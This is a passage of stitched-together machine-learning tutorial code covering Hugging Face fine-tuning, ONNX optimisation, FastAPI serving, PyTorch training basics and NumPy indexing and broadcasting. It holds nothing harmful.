trainer = BpeTrainer(vocab_size=30000, special_tokens=["[PAD]", "[UNK]", "[CLS]", "[SEP]", "[MASK]"])
files = ["path/to/text1.txt", "path/to/text2.txt"]
tokenizer.train(files, trainer)

# Save tokenizer
tokenizer.save("path/to/tokenizer.json")

# Load tokenizer
from transformers import PreTrainedTokenizerFast
fast_tokenizer = PreTrainedTokenizerFast(tokenizer_file="path/to/tokenizer.json")

from transformers import Trainer, TrainingArguments, AutoModelForSequenceClassification
from datasets import load_dataset, load_metric
import numpy as np

# Load dataset and model
dataset = load_dataset("glue", "mrpc")
model = AutoModelForSequenceClassification.from_pretrained("bert-base-uncased", num_labels=2)
tokenizer = AutoTokenizer.from_pretrained("bert-base-uncased")

# Tokenize dataset
def tokenize_function(examples):
    return tokenizer(examples["sentence1"], examples["sentence2"], padding="max_length", truncation=True)

tokenized_datasets = dataset.map(tokenize_function, batched=True)

# Define metrics
metric = load_metric("accuracy")

def compute_metrics(eval_pred):
    logits, labels = eval_pred
    predictions = np.argmax(logits, axis=-1)
    return metric.compute(predictions=predictions, references=labels)

# Training arguments
training_args = TrainingArguments(
    output_dir="./results",
    evaluation_strategy="epoch",
    save_strategy="epoch",
    learning_rate=2e-5,
    per_device_train_batch_size=16,
    per_device_eval_batch_size=16,
    num_train_epochs=3,
    weight_decay=0.01,
    load_best_model_at_end=True,
    metric_for_best_model="accuracy",
    logging_dir="./logs",
    logging_steps=100,
    save_total_limit=2,
    fp16=True,  # Mixed precision training
    dataloader_num_workers=4,
    gradient_accumulation_steps=2,
    warmup_steps=500,
)

# Create trainer
trainer = Trainer(
    model=model,
    args=training_args,
    train_dataset=tokenized_datasets["train"],
    eval_dataset=tokenized_datasets["validation"],
    compute_metrics=compute_metrics,
)

# Train
trainer.train()

# Evaluate
results = trainer.evaluate()
print(results)

# Predict
predictions = trainer.predict(tokenized_datasets["test"])
print(predictions.metrics)

# Save model
trainer.save_model("./final_model")

from torch.utils.data import DataLoader
from transformers import AdamW, get_linear_schedule_with_warmup
from tqdm import tqdm

def train_custom(model, train_dataset, eval_dataset, num_epochs=3):
    device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
    model.to(device)

    # Data loaders
    train_loader = DataLoader(train_dataset, batch_size=16, shuffle=True)
    eval_loader = DataLoader(eval_dataset, batch_size=16)

    # Optimizer and scheduler
    optimizer = AdamW(model.parameters(), lr=2e-5)
    total_steps = len(train_loader) * num_epochs
    scheduler = get_linear_schedule_with_warmup(
        optimizer,
        num_warmup_steps=0.1 * total_steps,
        num_training_steps=total_steps
    )

    # Training loop
    for epoch in range(num_epochs):
        model.train()
        total_loss = 0

        progress_bar = tqdm(train_loader, desc=f"Epoch {epoch+1}")
        for batch in progress_bar:
            # Move to device
            batch = {k: v.to(device) for k, v in batch.items()}

            # Forward pass
            outputs = model(**batch)
            loss = outputs.loss

            # Backward pass
            optimizer.zero_grad()
            loss.backward()
            torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)
            optimizer.step()
            scheduler.step()

            total_loss += loss.item()
            progress_bar.set_postfix({"loss": loss.item()})

        # Evaluation
        model.eval()
        eval_loss = 0
        predictions, true_labels = [], []

        with torch.no_grad():
            for batch in eval_loader:
                batch = {k: v.to(device) for k, v in batch.items()}
                outputs = model(**batch)

                eval_loss += outputs.loss.item()

                logits = outputs.logits
                preds = torch.argmax(logits, dim=-1)

                predictions.extend(preds.cpu().numpy())
                true_labels.extend(batch["labels"].cpu().numpy())

        # Compute metrics
        accuracy = np.mean(np.array(predictions) == np.array(true_labels))

        print(f"Epoch {epoch+1}:")
        print(f"  Train Loss: {total_loss/len(train_loader):.4f}")
        print(f"  Eval Loss: {eval_loss/len(eval_loader):.4f}")
        print(f"  Accuracy: {accuracy:.4f}")

    return model

# Model optimization
from transformers import pipeline
from optimum.onnxruntime import ORTModelForSequenceClassification, ORTOptimizer
from optimum.onnxruntime.configuration import OptimizationConfig

# Convert to ONNX
model = ORTModelForSequenceClassification.from_pretrained(
    "distilbert-base-uncased-finetuned-sst-2-english",
    from_transformers=True
)

# Optimize
optimizer = ORTOptimizer.from_pretrained(model)
optimization_config = OptimizationConfig(optimization_level=2)
optimizer.optimize(save_dir="optimized_model", optimization_config=optimization_config)

# Use optimized model
optimized_pipeline = pipeline(
    "sentiment-analysis",
    model=model,
    tokenizer=tokenizer
)

# Quantization
from optimum.onnxruntime import ORTQuantizer
from optimum.onnxruntime.configuration import AutoQuantizationConfig

quantizer = ORTQuantizer.from_pretrained(model)
qconfig = AutoQuantizationConfig.avx512_vnni(is_static=False)
quantizer.quantize(save_dir="quantized_model", quantization_config=qconfig)

def batch_predict(texts, model, tokenizer, batch_size=32):
    """Efficient batch prediction"""
    device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
    model.to(device)
    model.eval()

    all_predictions = []

    for i in range(0, len(texts), batch_size):
        batch_texts = texts[i:i+batch_size]

        # Tokenize
        inputs = tokenizer(
            batch_texts,
            padding=True,
            truncation=True,
            max_length=512,
            return_tensors="pt"
        )
        inputs = {k: v.to(device) for k, v in inputs.items()}

        # Predict
        with torch.no_grad():
            outputs = model(**inputs)
            logits = outputs.logits
            predictions = torch.argmax(logits, dim=-1)

        all_predictions.extend(predictions.cpu().numpy())

    return all_predictions

# Usage
texts = ["text1", "text2", "text3"] * 1000
predictions = batch_predict(texts, model, tokenizer)

from fastapi import FastAPI
from pydantic import BaseModel
from transformers import pipeline

app = FastAPI()

# Load model once
classifier = pipeline("sentiment-analysis")

class TextRequest(BaseModel):
    text: str

class PredictionResponse(BaseModel):
    label: str
    score: float

@app.post("/predict", response_model=PredictionResponse)
def predict(request: TextRequest):
    result = classifier(request.text)[0]
    return PredictionResponse(label=result['label'], score=result['score'])

# Run with: uvicorn app:app --host 0.0.0.0 --port 8000

# CPU only
pip install torch torchvision torchaudio

# GPU (CUDA 11.8)
pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118

# GPU (CUDA 12.1)
pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu121

# Check installation
python -c "import torch; print(torch.__version__); print(torch.cuda.is_available())"

import torch

# Creating tensors
t1 = torch.tensor([1, 2, 3])           # From list
t2 = torch.zeros(3, 4)                 # Zeros tensor
t3 = torch.ones(2, 3)                  # Ones tensor
t4 = torch.randn(3, 4)                 # Random normal distribution
t5 = torch.arange(0, 10, 2)            # Range: [0, 2, 4, 6, 8]

# Tensor properties
print(t1.shape)                         # torch.Size([3])
print(t1.dtype)                         # torch.int64
print(t1.device)                        # cpu

# Move to GPU
if torch.cuda.is_available():
    t1 = t1.cuda()                      # or t1.to('cuda')
    print(t1.device)                    # cuda:0

# Tensor operations
a = torch.tensor([1.0, 2.0, 3.0])
b = torch.tensor([4.0, 5.0, 6.0])

c = a + b                               # Element-wise addition
d = a * b                               # Element-wise multiplication
e = torch.dot(a, b)                     # Dot product: 32.0
f = torch.matmul(a.view(3, 1), b.view(1, 3))  # Matrix multiplication

# Reshaping
x = torch.randn(2, 3, 4)
y = x.view(6, 4)                        # Reshape to (6, 4)
z = x.reshape(-1)                       # Flatten (auto-infer dimension)

import torch

# Enable gradient tracking
x = torch.tensor([2.0, 3.0], requires_grad=True)
y = torch.tensor([1.0, 2.0], requires_grad=True)

# Forward pass
z = x.pow(2).sum() + (y * x).sum()      # z = x^2 + y*x

# Backward pass (compute gradients)
z.backward()

print(x.grad)                           # dz/dx
print(y.grad)                           # dz/dy

# Example: dz/dx = 2*x + y = [5, 8] for x=[2,3], y=[1,2]

import torch
import torch.nn as nn
import torch.nn.functional as F

# Define a simple network
class SimpleNet(nn.Module):
    def __init__(self):
        super(SimpleNet, self).__init__()
        self.fc1 = nn.Linear(784, 128)  # Input: 28*28=784, Output: 128
        self.fc2 = nn.Linear(128, 64)
        self.fc3 = nn.Linear(64, 10)    # 10 output classes

    def forward(self, x):
        x = x.view(x.size(0), -1)       # Flatten: (batch, 784)
        x = F.relu(self.fc1(x))         # ReLU activation
        x = F.relu(self.fc2(x))
        x = self.fc3(x)                 # No activation (raw logits)
        return x

# Create model and move to device
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
model = SimpleNet().to(device)

# Check model architecture
print(model)

# Count parameters
total_params = sum(p.numel() for p in model.parameters())
print(f"Total parameters: {total_params}")

from torch.utils.data import Dataset, DataLoader
import torch

class CustomDataset(Dataset):
    def __init__(self, data, labels, transform=None):
        """
        Args:
            data: List or array of inputs
            labels: List or array of labels
            transform: Optional transformations to apply
        """
        self.data = data
        self.labels = labels
        self.transform = transform

    def __len__(self):
        """Return total number of samples"""
        return len(self.data)

    def __getitem__(self, idx):
        """Return sample at index idx"""
        sample = self.data[idx]
        label = self.labels[idx]

        if self.transform:
            sample = self.transform(sample)

        return sample, label

# Usage
X = torch.randn(1000, 28, 28)  # 1000 images of 28x28
y = torch.randint(0, 10, (1000,))  # 1000 labels (10 classes)

dataset = CustomDataset(X, y)
print(f"Dataset size: {len(dataset)}")
sample, label = dataset[0]
print(f"Sample shape: {sample.shape}, Label: {label}")

from torchvision import transforms
from PIL import Image

class ImageDataset(Dataset):
    def __init__(self, image_paths, labels, transform=None):
        self.image_paths = image_paths
        self.labels = labels
        self.transform = transform

    def __len__(self):
        return len(self.image_paths)

    def __getitem__(self, idx):
        # Load image
        image = Image.open(self.image_paths[idx]).convert('RGB')

        # Apply transforms
        if self.transform:
            image = self.transform(image)

        label = self.labels[idx]
        return image, label

# Define transforms
train_transform = transforms.Compose([
    transforms.Resize((224, 224)),
    transforms.RandomHorizontalFlip(p=0.5),
    transforms.RandomRotation(10),
    transforms.ToTensor(),
    transforms.Normalize(
        mean=[0.485, 0.456, 0.406],
        std=[0.229, 0.224, 0.225]
    )
])

test_transform = transforms.Compose([
    transforms.Resize((224, 224)),
    transforms.ToTensor(),
    transforms.Normalize(
        mean=[0.485, 0.456, 0.406],
        std=[0.229, 0.224, 0.225]
    )
])

# Create datasets
train_dataset = ImageDataset(train_paths, train_labels, transform=train_transform)
test_dataset = ImageDataset(test_paths, test_labels, transform=test_transform)

from torchvision import datasets, transforms

# MNIST
mnist_train = datasets.MNIST(
    root='./data',
    train=True,
    download=True,
    transform=transforms.ToTensor()
)

mnist_test = datasets.MNIST(
    root='./data',
    train=False,
    download=True,
    transform=transforms.ToTensor()
)

# CIFAR-10
cifar10 = datasets.CIFAR10(
    root='./data',
    train=True,
    download=True,
    transform=transforms.ToTensor()
)

# ImageNet (large, requires manual download)
imagenet = datasets.ImageNet(
    root='./data',
    split='train',
    transform=transforms.ToTensor()
)

# Print dataset info
print(f"Dataset size: {len(mnist_train)}")
sample, label = mnist_train[0]
print(f"Sample shape: {sample.shape}, Label: {label}")

from torch.utils.data import DataLoader

# Create DataLoader
train_loader = DataLoader(
    dataset=train_dataset,
    batch_size=32,              # Samples per batch
    shuffle=True,               # Shuffle order every epoch
    num_workers=4,              # Parallel workers for data loading
    pin_memory=True,            # Pin memory for faster GPU transfer
    drop_last=True              # Drop last incomplete batch
)

test_loader = DataLoader(
    dataset=test_dataset,
    batch_size=32,
    shuffle=False,              # Don't shuffle test data
    num_workers=4,
    pin_memory=True,
    drop_last=False
)

# Iterate through batches
for batch_idx, (batch_x, batch_y) in enumerate(train_loader):
    print(f"Batch {batch_idx}")
    print(f"  Input shape: {batch_x.shape}")  # (32, 1, 28, 28)
    print(f"  Labels shape: {batch_y.shape}")  # (32,)

    if batch_idx == 0:
        break

from torch.utils.data import random_split

# Original dataset
dataset = CustomDataset(X, y)

# Split into train (70%), val (15%), test (15%)
total_size = len(dataset)
train_size = int(0.7 * total_size)
val_size = int(0.15 * total_size)
test_size = total_size - train_size - val_size

train_set, val_set, test_set = random_split(
    dataset,
    [train_size, val_size, test_size]
)

# Create loaders
train_loader = DataLoader(train_set, batch_size=32, shuffle=True)
val_loader = DataLoader(val_set, batch_size=32, shuffle=False)
test_loader = DataLoader(test_set, batch_size=32, shuffle=False)

from torchvision import transforms

# For images
augmentation = transforms.Compose([
    transforms.RandomCrop(32, padding=4),
    transforms.RandomHorizontalFlip(p=0.5),
    transforms.RandomVerticalFlip(p=0.2),
    transforms.RandomRotation(15),
    transforms.ColorJitter(brightness=0.2, contrast=0.2),
    transforms.GaussianBlur(kernel_size=3),
    transforms.ToTensor(),
    transforms.Normalize(mean=[0.5], std=[0.5])
])

# For text (custom)
class TextAugmentation:
    def __init__(self, vocab_size=10000):
        self.vocab_size = vocab_size

    def __call__(self, tokens):
        # Random dropout of tokens
        if torch.rand(1) > 0.5:
            mask = torch.rand(len(tokens)) > 0.1
            tokens = tokens[mask]
        return tokens

# Custom augmentation
class MixupAugmentation:
    def __init__(self, alpha=1.0):
        self.alpha = alpha

    def __call__(self, batch_x, batch_y):
        """Mixup data augmentation"""
        lam = torch.distributions.Beta(self.alpha, self.alpha).sample()
        batch_size = batch_x.size(0)

        index = torch.randperm(batch_size)
        mixed_x = lam * batch_x + (1 - lam) * batch_x[index]
        mixed_y = lam * batch_y.float() + (1 - lam) * batch_y[index].float()

        return mixed_x, mixed_y

# Good configuration
loader = DataLoader(
    dataset,
    batch_size=64,              # Larger batches for efficiency
    shuffle=True,
    num_workers=4,              # Use multiple workers (2-4 per GPU)
    pin_memory=True,            # Pin to CPU memory for GPU transfer
    persistent_workers=True,    # Keep workers alive between epochs
    prefetch_factor=2           # Prefetch batches (2-4 recommended)
)

# Monitor data loading performance
import time

start = time.time()
for batch in loader:
    pass
elapsed = time.time() - start
print(f"Time to load {len(loader)} batches: {elapsed:.2f}s")

# If loading is slow:
# - Increase num_workers
# - Check disk speed (SSD vs HDD)
# - Use pin_memory=True
# - Reduce image resolution if possible
# - Use data compression

from torch.utils.data import ConcatDataset, Subset

# Concatenate multiple datasets
combined_dataset = ConcatDataset([dataset1, dataset2, dataset3])

# Subset of dataset
indices = list(range(0, 100))  # First 100 samples
subset = Subset(dataset, indices)

# Weighted sampling (e.g., for imbalanced data)
from torch.utils.data import WeightedRandomSampler

weights = [1.0 if label == 0 else 10.0 for label in dataset.labels]
sampler = WeightedRandomSampler(weights, len(dataset), replacement=True)

loader = DataLoader(
    dataset,
    batch_size=32,
    sampler=sampler  # Use sampler instead of shuffle
)

import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.data import DataLoader, TensorDataset

# Dummy data
X_train = torch.randn(1000, 784)
y_train = torch.randint(0, 10, (1000,))

# Create dataloader
dataset = TensorDataset(X_train, y_train)
dataloader = DataLoader(dataset, batch_size=32, shuffle=True)

# Model, loss, optimizer
model = SimpleNet().to(device)
criterion = nn.CrossEntropyLoss()
optimizer = optim.Adam(model.parameters(), lr=0.001)

# Training loop
num_epochs = 5
for epoch in range(num_epochs):
    total_loss = 0
    for batch_x, batch_y in dataloader:
        batch_x, batch_y = batch_x.to(device), batch_y.to(device)

        # Forward pass
        logits = model(batch_x)
        loss = criterion(logits, batch_y)

        # Backward pass
        optimizer.zero_grad()           # Clear old gradients
        loss.backward()                 # Compute new gradients
        optimizer.step()                # Update parameters

        total_loss += loss.item()

    avg_loss = total_loss / len(dataloader)
    print(f"Epoch {epoch+1}/{num_epochs}, Loss: {avg_loss:.4f}")

class CNN(nn.Module):
    def __init__(self):
        super(CNN, self).__init__()
        # Input: (batch, 3, 32, 32) - 3 channels, 32x32 images
        self.conv1 = nn.Conv2d(3, 32, kernel_size=3, padding=1)
        self.conv2 = nn.Conv2d(32, 64, kernel_size=3, padding=1)
        self.pool = nn.MaxPool2d(2, 2)
        self.fc1 = nn.Linear(64 * 8 * 8, 128)
        self.fc2 = nn.Linear(128, 10)
        self.dropout = nn.Dropout(0.5)

    def forward(self, x):
        # Conv block 1
        x = self.conv1(x)               # (batch, 32, 32, 32)
        x = F.relu(x)
        x = self.pool(x)                # (batch, 32, 16, 16)

        # Conv block 2
        x = self.conv2(x)               # (batch, 64, 16, 16)
        x = F.relu(x)
        x = self.pool(x)                # (batch, 64, 8, 8)

        # Flatten and FC layers
        x = x.view(x.size(0), -1)       # (batch, 64*8*8)
        x = F.relu(self.fc1(x))
        x = self.dropout(x)
        x = self.fc2(x)
        return x

model = CNN().to(device)

class RNN(nn.Module):
    def __init__(self, input_size, hidden_size, num_layers, output_size):
        super(RNN, self).__init__()
        self.hidden_size = hidden_size
        self.num_layers = num_layers

        self.lstm = nn.LSTM(
            input_size=input_size,
            hidden_size=hidden_size,
            num_layers=num_layers,
            batch_first=True,           # Input shape: (batch, seq_len, input_size)
            dropout=0.5
        )
        self.fc = nn.Linear(hidden_size, output_size)

    def forward(self, x):
        # x shape: (batch, seq_len, input_size)
        lstm_out, (h_n, c_n) = self.lstm(x)
        # lstm_out: (batch, seq_len, hidden_size)
        # h_n: (num_layers, batch, hidden_size) - final hidden state

        # Use last hidden state for classification
        last_hidden = h_n[-1]           # (batch, hidden_size)
        out = self.fc(last_hidden)      # (batch, output_size)
        return out

model = RNN(input_size=100, hidden_size=256, num_layers=2, output_size=10).to(device)

# Evaluation mode (disables dropout, batch norm uses running stats)
model.eval()

correct = 0
total = 0

with torch.no_grad():                   # Disable gradient computation
    for batch_x, batch_y in test_dataloader:
        batch_x, batch_y = batch_x.to(device), batch_y.to(device)

        logits = model(batch_x)
        predictions = torch.argmax(logits, dim=1)

        correct += (predictions == batch_y).sum().item()
        total += batch_y.size(0)

accuracy = correct / total
print(f"Accuracy: {accuracy:.4f}")

# Switch back to training mode
model.train()

# Save model
torch.save(model.state_dict(), 'model.pth')

# Load model
model = SimpleNet().to(device)
model.load_state_dict(torch.load('model.pth'))

# Save entire checkpoint
checkpoint = {
    'epoch': epoch,
    'model_state_dict': model.state_dict(),
    'optimizer_state_dict': optimizer.state_dict(),
    'loss': loss,
}
torch.save(checkpoint, 'checkpoint.pth')

# Load checkpoint
checkpoint = torch.load('checkpoint.pth')
model.load_state_dict(checkpoint['model_state_dict'])
optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
epoch = checkpoint['epoch']

import torch.optim as optim

# SGD with momentum
optimizer = optim.SGD(model.parameters(), lr=0.01, momentum=0.9)

# Adam (adaptive learning rate)
optimizer = optim.Adam(model.parameters(), lr=0.001, betas=(0.9, 0.999))

# RMSprop
optimizer = optim.RMSprop(model.parameters(), lr=0.01, alpha=0.99)

# Learning rate scheduling
scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.1)

# In training loop:
for epoch in range(num_epochs):
    # ... training code ...
    scheduler.step()                    # Decay learning rate

# Classification
criterion = nn.CrossEntropyLoss()       # Combines LogSoftmax + NLLLoss
criterion = nn.BCEWithLogitsLoss()      # Binary classification

# Regression
criterion = nn.MSELoss()                # Mean Squared Error
criterion = nn.L1Loss()                 # Mean Absolute Error
criterion = nn.SmoothL1Loss()           # Huber loss

# Custom loss
class CustomLoss(nn.Module):
    def forward(self, pred, target):
        return (pred - target).pow(2).mean()

class BNNetwork(nn.Module):
    def __init__(self):
        super(BNNetwork, self).__init__()
        self.fc1 = nn.Linear(784, 256)
        self.bn1 = nn.BatchNorm1d(256)  # Normalize features
        self.fc2 = nn.Linear(256, 128)
        self.bn2 = nn.BatchNorm1d(128)
        self.fc3 = nn.Linear(128, 10)

    def forward(self, x):
        x = x.view(x.size(0), -1)
        x = self.fc1(x)
        x = self.bn1(x)                 # Normalize after linear layer
        x = F.relu(x)

        x = self.fc2(x)
        x = self.bn2(x)
        x = F.relu(x)

        x = self.fc3(x)
        return x

# Prevent exploding gradients
torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0)
torch.nn.utils.clip_grad_value_(model.parameters(), clip_value=0.1)

from torch.cuda.amp import autocast, GradScaler

scaler = GradScaler()

for batch_x, batch_y in dataloader:
    optimizer.zero_grad()

    with autocast():                    # Automatically cast to float16 where safe
        logits = model(batch_x)
        loss = criterion(logits, batch_y)

    scaler.scale(loss).backward()
    scaler.step(optimizer)
    scaler.update()

# Solution 1: Reduce batch size
batch_size = 16  # Instead of 32

# Solution 2: Gradient accumulation
accumulation_steps = 4
for i, (batch_x, batch_y) in enumerate(dataloader):
    logits = model(batch_x)
    loss = criterion(logits, batch_y) / accumulation_steps
    loss.backward()

    if (i + 1) % accumulation_steps == 0:
        optimizer.step()
        optimizer.zero_grad()

import numpy as np

# Pure Python (slow)
result = []
for i in range(1000000):
    result.append(i ** 2)

# NumPy (fast)
result = np.arange(1000000) ** 2

# From lists
arr = np.array([1, 2, 3, 4, 5])
matrix = np.array([[1, 2, 3], [4, 5, 6]])

# Specify dtype for memory efficiency
arr_int8 = np.array([1, 2, 3], dtype=np.int8)      # 1 byte per element
arr_float32 = np.array([1, 2, 3], dtype=np.float32) # 4 bytes per element
arr_float64 = np.array([1, 2, 3], dtype=np.float64) # 8 bytes per element (default)

# Zeros - common for initializing gradients or counts
zeros = np.zeros((3, 4))
zeros_like = np.zeros_like(existing_array)

# Ones - useful for bias initialization
ones = np.ones((3, 4))
ones_like = np.ones_like(existing_array)

# Empty - fastest, doesn't initialize (use when you'll overwrite)
empty = np.empty((3, 4))

# Full - initialize with specific value
full = np.full((3, 4), 0.01)  # Initialize all to 0.01

# Identity matrix - common in linear algebra
identity = np.eye(5)
identity_offset = np.eye(5, k=1)  # Offset diagonal

# Ranges
arange = np.arange(0, 10, 2)        # [0, 2, 4, 6, 8]
linspace = np.linspace(0, 1, 5)     # [0.0, 0.25, 0.5, 0.75, 1.0]
logspace = np.logspace(0, 2, 5)     # [1, 10, 100] logarithmically spaced

# Meshgrid - useful for coordinate generation
x = np.linspace(-5, 5, 100)
y = np.linspace(-5, 5, 100)
X, Y = np.meshgrid(x, y)  # Create 2D coordinate grids

# Modern way (NumPy 1.17+)
rng = np.random.default_rng(seed=42)

# Uniform distribution [0, 1)
uniform = rng.random((3, 4))

# Normal/Gaussian distribution
normal = rng.normal(loc=0, scale=1, size=(3, 4))

# Xavier/Glorot initialization for neural networks
n_in, n_out = 784, 256
xavier = rng.normal(0, np.sqrt(2 / (n_in + n_out)), (n_in, n_out))

# He initialization (for ReLU networks)
he = rng.normal(0, np.sqrt(2 / n_in), (n_in, n_out))

# Integer random values
randint = rng.integers(0, 10, size=(3, 4))

# Choice (sampling)
choices = rng.choice([1, 2, 3, 4, 5], size=10, replace=True)

arr = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])

# Single element
arr[0]        # 0
arr[-1]       # 9

# Slicing: [start:stop:step]
arr[2:5]      # [2, 3, 4]
arr[::2]      # [0, 2, 4, 6, 8] - every second element
arr[::-1]     # [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] - reverse
arr[5:]       # [5, 6, 7, 8, 9]
arr[:5]       # [0, 1, 2, 3, 4]

matrix = np.array([[1, 2, 3],
                   [4, 5, 6],
                   [7, 8, 9]])

# Element access
matrix[0, 0]           # 1
matrix[1, 2]           # 6

# Row and column slicing
matrix[0, :]           # [1, 2, 3] - first row
matrix[:, 0]           # [1, 4, 7] - first column
matrix[:2, :2]         # [[1, 2], [4, 5]] - top-left 2x2

# Stride tricks
matrix[::2, ::2]       # Every other row and column

arr = np.array([1, -2, 3, -4, 5, -6])

# Boolean mask
mask = arr > 0
positive = arr[mask]   # [1, 3, 5]

# Inline
positive = arr[arr > 0]
even = arr[arr % 2 == 0]

# Compound conditions
arr[(arr > 0) & (arr < 4)]  # [1, 3]
arr[(arr < 0) | (arr > 4)]  # [-2, -4, 5, -6]

# Filtering outliers
data = np.random.randn(1000)
mean, std = data.mean(), data.std()
filtered = data[np.abs(data - mean) < 2 * std]  # Remove outliers beyond 2 sigma

# Setting values with boolean indexing
arr[arr < 0] = 0  # Clip negative values to 0 (ReLU activation!)

arr = np.array([10, 20, 30, 40, 50])

# Index with array of integers
indices = np.array([0, 2, 4])
arr[indices]  # [10, 30, 50]

# Multidimensional fancy indexing
matrix = np.arange(12).reshape(3, 4)
rows = np.array([0, 2, 2])
cols = np.array([1, 3, 0])
matrix[rows, cols]  # Elements at (0,1), (2,3), (2,0)

# Batch indexing (common in ML)
batch = np.random.randn(32, 10)  # 32 samples, 10 classes
labels = np.array([3, 1, 5, ...])  # True class for each sample
selected_logits = batch[np.arange(32), labels]  # Logits for true classes

# Ellipsis (...) - all remaining dimensions
tensor = np.random.randn(2, 3, 4, 5)
tensor[0, ...]        # Same as tensor[0, :, :, :]
tensor[..., 0]        # Same as tensor[:, :, :, 0]

# np.newaxis or None - add dimension
arr = np.array([1, 2, 3])
arr[:, np.newaxis]    # Shape (3, 1) - column vector
arr[np.newaxis, :]    # Shape (1, 3) - row vector

# Rule visualization
A:     (3, 4, 5)
B:        (1, 5)
Result:(3, 4, 5)

A:     (3, 1, 5)
B:     (3, 4, 1)
Result:(3, 4, 5)

# Scalar with array
arr = np.array([1, 2, 3, 4])
arr * 2  # [2, 4, 6, 8]

# 1D with 2D (very common in ML)
matrix = np.array([[1, 2, 3],
                   [4, 5, 6]])
row_vector = np.array([10, 20, 30])
matrix + row_vector
# [[11, 22, 33],
#  [14, 25, 36]]

# Broadcasting for normalization
data = np.random.randn(100, 5)  # 100 samples, 5 features
mean = data.mean(axis=0)        # Shape (5,)
std = data.std(axis=0)          # Shape (5,)
normalized = (data - mean) / std  # Broadcasting happens automatically

# Column vector broadcasting
col_vector = np.array([[1], [2], [3]])  # Shape (3, 1)
row_vector = np.array([10, 20, 30])     # Shape (3,)
result = col_vector + row_vector
# [[11, 21, 31],
#  [12, 22, 32],
#  [13, 23, 33]]

# Batch normalization
batch = np.random.randn(32, 64, 64, 3)  # 32 images, 64x64, 3 channels
mean = batch.mean(axis=(0, 1, 2), keepdims=True)  # Shape (1, 1, 1, 3)
std = batch.std(axis=(0, 1, 2), keepdims=True)
normalized_batch = (batch - mean) / (std + 1e-8)

# Distance matrix computation
X = np.random.randn(100, 50)  # 100 samples, 50 features
# Pairwise squared distances using broadcasting
X_expanded = X[:, np.newaxis, :]   # Shape (100, 1, 50)
X2_expanded = X[np.newaxis, :, :]  # Shape (1, 100, 50)
distances = np.sum((X_expanded - X2_expanded) ** 2, axis=2)  # (100, 100)

# Attention mechanism (simplified)
Q = np.random.randn(10, 64)  # 10 queries, 64 dims
K = np.random.randn(20, 64)  # 20 keys, 64 dims
# Compute attention scores
scores = Q @ K.T  # (10, 20)

# Unintended broadcasting
a = np.random.randn(3, 1)
b = np.random.randn(4, 1)
# a + b raises error - shapes (3,1) and (4,1) incompatible

# Accidental dimension loss
a = np.random.randn(5, 1)
b = a.flatten()  # Shape (5,) not (5, 1)
# Now b broadcasts differently!

# Always check shapes
assert a.shape == expected_shape, f"Shape mismatch: {a.shape}"

import time

# Non-vectorized
data = list(range(1000000))
start = time.time()
result = [x ** 2 for x in data]
print(f"Loop: {time.time() - start:.4f}s")

# Vectorized
data = np.arange(1000000)
start = time.time()
result = data ** 2
print(f"Vectorized: {time.time() - start:.4f}s")
# Typically 50-100x faster!

# Element-wise operations (automatically vectorized)
a = np.array([1, 2, 3, 4])
b = np.array([10, 20, 30, 40])

a + b         # [11, 22, 33, 44]
a * b         # [10, 40, 90, 160]
a ** b        # [1, 1048576, ...]
np.sin(a)     # [0.841, 0.909, 0.141, -0.757]
np.exp(a)     # [2.718, 7.389, 20.085, 54.598]

# Comparison operators
a > 2         # [False, False, True, True]
np.maximum(a, 2)  # [2, 2, 3, 4] - element-wise max

# Example 1: Sigmoid activation
def sigmoid_loop(x):
    result = np.zeros_like(x)
    for i in range(len(x)):
        result[i] = 1 / (1 + np.exp(-x[i]))
    return result

def sigmoid_vectorized(x):
    return 1 / (1 + np.exp(-x))

# Example 2: Pairwise distances
def distances_loop(X, Y):
    n, m = len(X), len(Y)
    distances = np.zeros((n, m))
    for i in range(n):
        for j in range(m):
            distances[i, j] = np.sqrt(np.sum((X[i] - Y[j]) ** 2))
    return distances

def distances_vectorized(X, Y):
    # Using broadcasting
    return np.sqrt(np.sum((X[:, np.newaxis] - Y[np.newaxis, :]) ** 2, axis=2))

# Example 3: Moving average
def moving_average_loop(arr, window):
    result = np.zeros(len(arr) - window + 1)
    for i in range(len(result)):
        result[i] = arr[i:i+window].mean()
    return result

def moving_average_vectorized(arr, window):
    # Using convolution
    return np.convolve(arr, np.ones(window)/window, mode='valid')

# Conditional operations - use np.where instead of if/else
x = np.random.randn(100)
# Bad
result = np.zeros_like(x)
for i in range(len(x)):
    result[i] = x[i] if x[i] > 0 else 0

# Good - vectorized ReLU
result = np.where(x > 0, x, 0)
# Even better
result = np.maximum(x, 0)

# Multiple conditions - use np.select
x = np.arange(-5, 6)
conditions = [x < -2, (x >= -2) & (x <= 2), x > 2]
choices = [-1, 0, 1]
result = np.select(conditions, choices)

# Vectorized gradient clipping
gradients = np.random.randn(1000, 100)
clip_value = 1.0
norm = np.linalg.norm(gradients, axis=1, keepdims=True)
gradients = np.where(norm > clip_value,
                     gradients * clip_value / norm,
                     gradients)

arr = np.arange(12)  # [0, 1, 2, ..., 11]

# Reshape - returns view if possible
arr.reshape(3, 4)
# [[ 0  1  2  3]
#  [ 4  5  6  7]
#  [ 8  9 10 11]]

arr.reshape(2, 6)
arr.reshape(2, 2, 3)  # 3D array

# Infer dimension with -1
arr.reshape(3, -1)    # NumPy calculates: (3, 4)
arr.reshape(-1, 2)    # (6, 2)
arr.reshape(-1)       # Flatten to 1D

# Reshape and transpose in one go
arr.reshape(3, 4, order='F')  # Fortran-style (column-major)

matrix = np.array([[1, 2], [3, 4]])

# flatten() - always returns a copy
flat1 = matrix.flatten()
flat1[0] = 999
# matrix unchanged

# ravel() - returns view if possible (more efficient)
flat2 = matrix.ravel()
flat2[0] = 999
# matrix[0, 0] is now 999!

# reshape(-1) - same as ravel
flat3 = matrix.reshape(-1)

# 2D transpose
matrix = np.array([[1, 2, 3], [4, 5, 6]])
matrix.T
# [[1, 4],
#  [2, 5],
#  [3, 6]]

